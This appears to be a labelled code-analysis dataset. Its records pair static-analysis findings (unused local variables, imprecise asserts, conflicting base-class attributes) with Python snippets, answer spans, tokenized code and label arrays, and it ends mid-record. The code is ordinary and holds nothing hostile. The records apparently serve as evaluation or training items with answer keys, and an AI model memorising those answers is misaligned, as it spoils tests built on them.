"self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Open", " ", "C", "{", "path", "}", " ", "for", " ", "writ", "ing", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "path", ":", " ", "The", " ", "path", ",", " ", "as", " ", "a", " ", "list", " ", "of", " ", "segments", ",", " ", "to", " ", "open", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "path", ":", " ", "C", "{", "list", "}", " ", "of", " ", "C", "{", "unicode", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "A", " ", "L", "{", "Defe", "rre", "d", "}", " ", "is", " ", "return", "ed", " ", "tha", "t", " ", "will", " ", "fire", " ", "with", " ", "an", " ", "object", "\\", "10", ";", " ", " ", " ", " ", "implement", "ing", " ", "L", "{", "IW", "rite", "File", "}", " ", "if", " ", "the", " ", "file", " ", "is", " ", "success", "full", "y", " ", "opene", "d", ".", " ", " ", "If", "\\", "10", ";", " ", " ", " ", " ", "C", "{", "path", "}", " ", "is", " ", "a", " ", "director", "y", ",", " ", "or", " ", "if", " ", "an", " ", "exception", " ", "is", " ", "raise", "d", " ", "whi", "le", " ", "try", "ing", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "open", " ", "the", " ", "file", ",", " ", "the", " ", "L", "{", "Defe", "rre", "d", "}", " ", "will", " ", "fire", " ", "with", " ", "an", " ", "error", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "self_", "._", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "._", "isdir_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Normal", "ly", ",", " ", "we", " ", "wou", "ld", " ", "only", " ", "check", " ", "for", " ", "EI", "SD", "IR", " ", "in", " ", "open", ",", " ", "but", " ", "win32", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", "s", " ", "EAC", "CES", " ", "in", " ", "this", " ", "case", ",", " ", "so", " ", "we", " ", "check", " ", "before_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", "Is", "AD", "irect", "ory", "Error_", "(_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f", "Obj_", "=_", "p_", "._", "open_", "(_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "defer_", "._", "succeed_", "(_", "\\u", "File", "Writer_", "(_", "f", "Obj_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
gkno/gkno_launcher/src/networkx/algorithms/shortest_paths/tests/test_astar.py
[ { "content": " @raises(nx.NetworkXNoPath)\n def test_astar_nopath(self):\n p = nx.astar_path(self.XG,'s','moon')", "metadata": "root.TestAStar.test_astar_nopath", "header": "['class', 'TestAStar', ':', '___EOS___']", "index": 113 }, { "content": " def test_orderable(self):\n class UnorderableClass: pass\n node_1 = UnorderableClass()\n node_2 = UnorderableClass()\n node_3 = UnorderableClass()\n node_4 = UnorderableClass()\n G = nx.Graph()\n G.add_edge(node_1, node_2)\n G.add_edge(node_1, node_3)\n G.add_edge(node_2, node_4)\n G.add_edge(node_3, node_4)\n path=nx.algorithms.shortest_paths.astar.astar_path(G, node_1, node_4)", "metadata": "root.TestAStar.test_orderable", "header": "['class', 'TestAStar', ':', '___EOS___']", "index": 123 } ]
[ { "span": "p ", "start_line": 115, "start_column": 8, "end_line": 115, "end_column": 9 }, { "span": "path=", "start_line": 134, "start_column": 8, "end_line": 134, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "AS", "tar_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "raises_", "(_", "nx_", "._", "Network", "XN", "o", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "asta", "r", "\\u", "nop", "ath_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "nx_", "._", "asta", "r", "\\u", "path_", "(_", "self_", "._", "XG", "_", ",_", "'", "s", "'_", ",_", "'", "moon", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "AS", "tar_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "order", "able_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Uno", "rder", "able", "Class_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "1_", "=_", "Uno", "rder", "able", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "2_", "=_", "Uno", "rder", "able", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "3_", "=_", "Uno", "rder", "able", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "\\u", "4_", "=_", "Uno", "rder", "able", "Class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G_", "=_", "nx_", "._", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G_", "._", "add", "\\u", "edge_", "(_", "node", "\\u", "1_", ",_", "node", "\\u", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G_", "._", "add", "\\u", "edge_", "(_", "node", "\\u", "1_", ",_", "node", "\\u", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G_", "._", "add", "\\u", "edge_", "(_", "node", "\\u", "2_", ",_", "node", "\\u", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G_", "._", "add", "\\u", "edge_", "(_", "node", "\\u", "3_", ",_", "node", "\\u", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "nx_", "._", "algorithms_", "._", "short", "est", "\\u", "paths_", "._", "asta", "r_", "._", "asta", "r", "\\u", "path_", "(_", "G_", ",_", "node", "\\u", "1_", ",_", "node", "\\u", "4_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
qe-team/marmot/marmot/representations/tests/test_wmt_representation_generator.py
[ { "content": " def test_load_from_config(self):\n generator = build_object(self.config['representations']['training'][0])\n data_obj = generator.generate()\n self.assertTrue('target' in data_obj)\n self.assertTrue('source' in data_obj)\n self.assertTrue('tags' in data_obj)\n self.assertTrue(len(data_obj['target']) == len(data_obj['source']))\n self.assertTrue(len(data_obj['target']) == len(data_obj['tags']))", "metadata": "root.WMTRepresentationGeneratorTests.test_load_from_config", "header": "['class', 'WMTRepresentationGeneratorTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 40 }, { "content": " def test_no_saved_files(self):\n generator = WMTRepresentationGenerator(self.wmt_target, self.wmt_source)\n data_obj = generator.generate()\n self.assertTrue('target' in data_obj)\n self.assertTrue('source' in data_obj)\n self.assertTrue('tags' in data_obj)\n self.assertTrue(len(data_obj['target']) == len(data_obj['source']))\n self.assertTrue(len(data_obj['target']) == len(data_obj['tags']))", "metadata": "root.WMTRepresentationGeneratorTests.test_no_saved_files", "header": "['class', 'WMTRepresentationGeneratorTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 49 } ]
[ { "span": "self.assertTrue('target' in data_obj)", "start_line": 43, "start_column": 8, "end_line": 43, "end_column": 45 }, { "span": "self.assertTrue('source' in data_obj)", "start_line": 44, "start_column": 8, "end_line": 44, "end_column": 45 }, { "span": "self.assertTrue('tags' in data_obj)", "start_line": 45, "start_column": 8, "end_line": 45, "end_column": 43 }, { "span": "self.assertTrue(len(data_obj['target']) == len(data_obj['source']))", "start_line": 46, "start_column": 8, "end_line": 46, "end_column": 75 }, { "span": "self.assertTrue(len(data_obj['target']) == len(data_obj['tags']))", "start_line": 47, "start_column": 8, "end_line": 47, "end_column": 73 }, { "span": "self.assertTrue('target' in data_obj)", "start_line": 52, "start_column": 8, "end_line": 52, "end_column": 45 }, { "span": "self.assertTrue('source' in data_obj)", "start_line": 53, "start_column": 8, "end_line": 53, "end_column": 45 }, { "span": "self.assertTrue('tags' in data_obj)", "start_line": 54, "start_column": 8, "end_line": 54, "end_column": 43 }, { "span": "self.assertTrue(len(data_obj['target']) == len(data_obj['source']))", "start_line": 55, "start_column": 8, "end_line": 55, "end_column": 75 }, { "span": "self.assertTrue(len(data_obj['target']) == len(data_obj['tags']))", "start_line": 56, "start_column": 8, "end_line": 56, "end_column": 73 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "WM", "TR", "epr", "ese", "nta", "tion", "Generat", "or", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "load", "\\u", "from", "\\u", "config_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "generator_", "=_", "build", "\\u", "object_", "(_", "self_", "._", "config_", "[_", "'", "representations", "'_", "]_", "[_", "'", "train", "ing", "'_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "obj_", "=_", "generator_", "._", "generate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "target", "'_", "in_", "data\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "source", "'_", "in_", "data\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "tags", "'_", "in_", "data\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "data\\u", "obj_", "[_", "'", "target", "'_", "]_", ")_", "==_", "len_", "(_", "data\\u", "obj_", "[_", "'", "source", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "data\\u", "obj_", "[_", "'", "target", "'_", "]_", ")_", "==_", "len_", "(_", "data\\u", "obj_", "[_", "'", "tags", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "WM", "TR", "epr", "ese", "nta", "tion", "Generat", "or", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "no", "\\u", "saved", "\\u", "files_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "generator_", "=_", "WM", "TR", "epr", "ese", "nta", "tion", "Generator_", "(_", "self_", "._", "wm", "t", "\\u", "target_", ",_", "self_", "._", "wm", "t", "\\u", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data\\u", "obj_", "=_", "generator_", "._", "generate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "target", "'_", "in_", "data\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "source", "'_", "in_", "data\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "tags", "'_", "in_", "data\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "data\\u", "obj_", "[_", "'", "target", "'_", "]_", ")_", "==_", "len_", "(_", "data\\u", "obj_", "[_", "'", "source", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "data\\u", "obj_", "[_", "'", "target", "'_", "]_", ")_", "==_", "len_", "(_", "data\\u", "obj_", "[_", "'", "tags", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Conflicting attributes in base classes
kootenpv/sky/sky/crawler_plugins.py
[ { "content": "class CrawlPlugin:\n\n\n\n\n\n\n\n\n\n", "metadata": "root.CrawlPlugin", "header": "['module', '___EOS___']", "index": 33 }, { "content": " def __init__(self, project_name, server=None, plugin_name=None, cache=None):\n self.project_name = project_name\n self.plugin_name = plugin_name\n self.server = server\n self.cache = self.prepare_cache(cache)\n self.crawl_config = None\n self.data = {}\n self.documents = []\n self.template_dict = None", "metadata": "root.CrawlPlugin.__init__", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 35 }, { "content": " def prepare_cache(self, cache):\n if cache is not None:\n cache.plugin_name = self.plugin_name\n cache.project_name = self.project_name\n cache.setup()\n return cache", "metadata": "root.CrawlPlugin.prepare_cache", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 45 }, { "content": " def get_default_plugin(self):\n pass", "metadata": "root.CrawlPlugin.get_default_plugin", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 52 }, { "content": " def get_specific_plugin(self):\n pass", "metadata": "root.CrawlPlugin.get_specific_plugin", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 55 }, { "content": " def start_crawl(self):\n crawl.start(self.crawl_config, cache=self.cache)", "metadata": "root.CrawlPlugin.start_crawl", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 58 }, { "content": " def scrape_data(self):\n # Create boilerplate recognizer\n skindex = Scraper(self.crawl_config)\n\n skindex.load_local_pages()\n skindex.add_template_elements()\n\n # Process all by removing boilerplate and extracting information\n return skindex.process_all(exclude_data=['cleaned', 'author'])", "metadata": "root.CrawlPlugin.scrape_data", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 61 }, { "content": " def get_documents(self, maximum_number_of_documents=10000):\n pass", "metadata": "root.CrawlPlugin.get_documents", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 71 }, { "content": " def save_bulk_data(self, data):\n pass", "metadata": "root.CrawlPlugin.save_bulk_data", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 74 }, { "content": " def run(self, delete_existing_documents=False):\n # get default plugin\n self.crawl_config = self.get_default_plugin()\n self.start_crawl()\n self.data = self.scrape_data()\n self.save_bulk_data(self.data)", "metadata": "root.CrawlPlugin.run", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 77 }, { "content": " def get_bad_summary(self, force_get_documents=False, n=5):\n if not self.documents or force_get_documents:\n self.documents = self.get_documents()\n title_sort = sorted(self.documents, key=lambda doc: len(doc['title']))\n body_sort = sorted(self.documents, key=lambda doc: len(' '.join(doc['body'])))\n date_sort = sorted(self.documents, key=lambda doc: len(doc['publish_date']))\n url_sort = sorted(self.documents, key=lambda doc: len(doc['url']))\n return {k: [(d['url'], d[k]) for d in sorted_type][:n]\n for k, sorted_type in zip(['title', 'body', 'publish_date', 'url'],\n [title_sort, body_sort, date_sort, url_sort])}", "metadata": "root.CrawlPlugin.get_bad_summary", "header": "['class', 'CrawlPlugin', ':', '___EOS___']", "index": 84 }, { "content": "class CrawlFilePlugin(CrawlPlugin):\n\n\n\n\n\n", "metadata": "root.CrawlFilePlugin", "header": "['module', '___EOS___']", "index": 96 }, { "content": " def get_default_plugin(self):\n with open(os.path.join(self.server['plugins'], 'default')) as f:\n return json.load(f)", "metadata": "root.CrawlFilePlugin.get_default_plugin", "header": "['class', 'CrawlFilePlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 98 }, { "content": " def get_specific_plugin(self):\n with open(os.path.join(self.server['plugins'], self.plugin_name)) as f:\n specific_config = json.load(f)\n return specific_config", "metadata": "root.CrawlFilePlugin.get_specific_plugin", "header": "['class', 'CrawlFilePlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 102 }, { "content": " def save_bulk_data(self, data):\n for row in data:\n with open(os.path.join(self.server['documents'], slugify(data[row]['url'])), 'w') as f:\n json.dump(data[row], f)", "metadata": "root.CrawlFilePlugin.save_bulk_data", "header": "['class', 'CrawlFilePlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 107 }, { "content": " def get_documents(self, maximum_number_of_documents=1000000):\n slugged_url = slugify(self.plugin_name)\n results = {}\n for num, fn in enumerate(os.listdir(self.server['documents'])):\n if num == maximum_number_of_documents:\n break\n if slugged_url in fn:\n with open(os.path.join(self.server['documents'], fn)) as f:\n results[slugged_url] = json.load(f)\n return results", "metadata": "root.CrawlFilePlugin.get_documents", "header": "['class', 'CrawlFilePlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 112 }, { "content": " def get_seen_urls(self):\n slugged_url = slugify(self.plugin_name)\n seen_urls = set()\n for fn in os.listdir(self.server['documents']):\n if slugged_url in fn:\n with open(os.path.join(self.server['documents'], fn)) as f:\n seen_urls.add(json.load(f)['url'])\n return seen_urls", "metadata": "root.CrawlFilePlugin.get_seen_urls", "header": "['class', 'CrawlFilePlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 123 }, { "content": " def save_config(self, config):\n with open(os.path.join(self.server['plugins'], self.plugin_name), 'w') as f:\n json.dump(config, f)", "metadata": "root.CrawlFilePlugin.save_config", "header": "['class', 'CrawlFilePlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 132 }, { "content": "class CrawlCloudantPlugin(CrawlPlugin):\n\n\n\n\n\n\n\n", "metadata": "root.CrawlCloudantPlugin", "header": "['module', '___EOS___']", "index": 137 }, { "content": " def __init__(self, project_name, server, plugin_name, cache):\n super(CrawlCloudantPlugin, self).__init__(project_name, server, plugin_name, cache)\n self.dbs = {x: self.server.database(self.project_name + '-crawler-' + x) for x in\n ['plugins', 'documents', 'template_dict']}", "metadata": "root.CrawlCloudantPlugin.__init__", "header": "['class', 'CrawlCloudantPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 139 }, { "content": " def get_default_plugin(self):\n return self.dbs['plugins'].get('default').result().json()", "metadata": "root.CrawlCloudantPlugin.get_default_plugin", "header": "['class', 'CrawlCloudantPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 144 }, { "content": " def get_specific_plugin(self):\n return self.dbs['plugins'].get(self.plugin_name).result().json()", "metadata": "root.CrawlCloudantPlugin.get_specific_plugin", "header": "['class', 'CrawlCloudantPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 147 }, { "content": " def save_bulk_data(self, data):\n for url_id in data:\n data[url_id]['_id'] = slugify(url_id)\n # save bulk per max 10k per time\n for chunk in chunker(data.values(), 10000):\n if not chunk:\n return\n self.dbs['documents'].bulk_docs(*[x for x in chunk if x is not None]).result()", "metadata": "root.CrawlCloudantPlugin.save_bulk_data", "header": "['class', 'CrawlCloudantPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 150 }, { "content": " def get_documents(self, maximum_number_of_documents=1000000):\n # now just to add the host thing ??????????????\n query = 'query={}'.format(self.plugin_name)\n params = '?include_docs=true&limit={}&{}'.format(maximum_number_of_documents, query)\n return {x['doc']['_id']: x['doc'] for x in\n self.dbs['documents'].all_docs().get(params).result().json()['rows']\n if 'url' in x['doc'] and self.plugin_name in x['doc']['url']}", "metadata": "root.CrawlCloudantPlugin.get_documents", "header": "['class', 'CrawlCloudantPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 159 }, { "content": " def delete_existing_documents(self):\n docs = self.get_documents()\n for x in docs:\n docs[x]['_deleted'] = True\n self.dbs['documents'].bulk_docs(*[docs[x] for x in docs]).result()", "metadata": "root.CrawlCloudantPlugin.delete_existing_documents", "header": "['class', 'CrawlCloudantPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 167 }, { "content": " def get_seen_urls(self):\n # params = '?query={}'.format(self.plugin_name) # werkt niet\n params = ''\n udocs = self.dbs['documents'].design('urlview').view('view1').get(params).result().json()\n if 'rows' in udocs:\n return set([udoc['key'] for udoc in udocs['rows'] if self.plugin_name in udoc['key']])\n else:\n print(\"no seen urls for plugin\", self.plugin_name)\n return set()", "metadata": "root.CrawlCloudantPlugin.get_seen_urls", "header": "['class', 'CrawlCloudantPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 173 }, { "content": " def save_config(self, config):\n doc = self.dbs['plugins'].get(self.plugin_name).result().json()\n if 'error' not in doc:\n config['_id'] = doc['_id']\n config['_rev'] = doc['_rev']\n self.dbs['plugins'][self.plugin_name] = config", "metadata": "root.CrawlCloudantPlugin.save_config", "header": "['class', 'CrawlCloudantPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 183 }, { "content": "class CrawlElasticSearchPlugin(CrawlPlugin):\n\n\n\n\n\n\n", "metadata": "root.CrawlElasticSearchPlugin", "header": "['module', '___EOS___']", "index": 191 }, { "content": " def __init__(self, project_name, server, plugin_name, cache):\n super(CrawlElasticSearchPlugin, self).__init__(project_name, server, plugin_name, cache)\n self.es = server", "metadata": "root.CrawlElasticSearchPlugin.__init__", "header": "['class', 'CrawlElasticSearchPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 193 }, { "content": " def get_default_plugin(self):\n return self.es.get(id='default', doc_type='plugin',\n index=self.project_name + \"-crawler-plugins\")['_source']", "metadata": "root.CrawlElasticSearchPlugin.get_default_plugin", "header": "['class', 'CrawlElasticSearchPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 197 }, { "content": " def get_specific_plugin(self):\n return self.es.get(id=self.plugin_name, doc_type='plugin',\n index=self.project_name + \"-crawler-plugins\")['_source']", "metadata": "root.CrawlElasticSearchPlugin.get_specific_plugin", "header": "['class', 'CrawlElasticSearchPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 201 }, { "content": " def save_bulk_data(self, data):\n for url_id in data:\n doc_id = slugify(url_id)\n self.es.index(id=doc_id, body=data[url_id], doc_type='document',\n index=self.project_name + \"-crawler-documents\")", "metadata": "root.CrawlElasticSearchPlugin.save_bulk_data", "header": "['class', 'CrawlElasticSearchPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 205 }, { "content": " def get_documents(self, maximum_number_of_documents=1000000):\n query = {\"query\": {\"wildcard\": {\"url\": \"*{}*\".format(self.plugin_name)}}}\n res = self.es.search(body=query, doc_type='document',\n index=self.project_name + \"-crawler-documents\")\n return res['hits']['hits']", "metadata": "root.CrawlElasticSearchPlugin.get_documents", "header": "['class', 'CrawlElasticSearchPlugin', '(', 'CrawlPlugin', ')', ':', '___EOS___']", "index": 211 }, { "content": " def get_seen_urls(self):\n query = {\"query\": 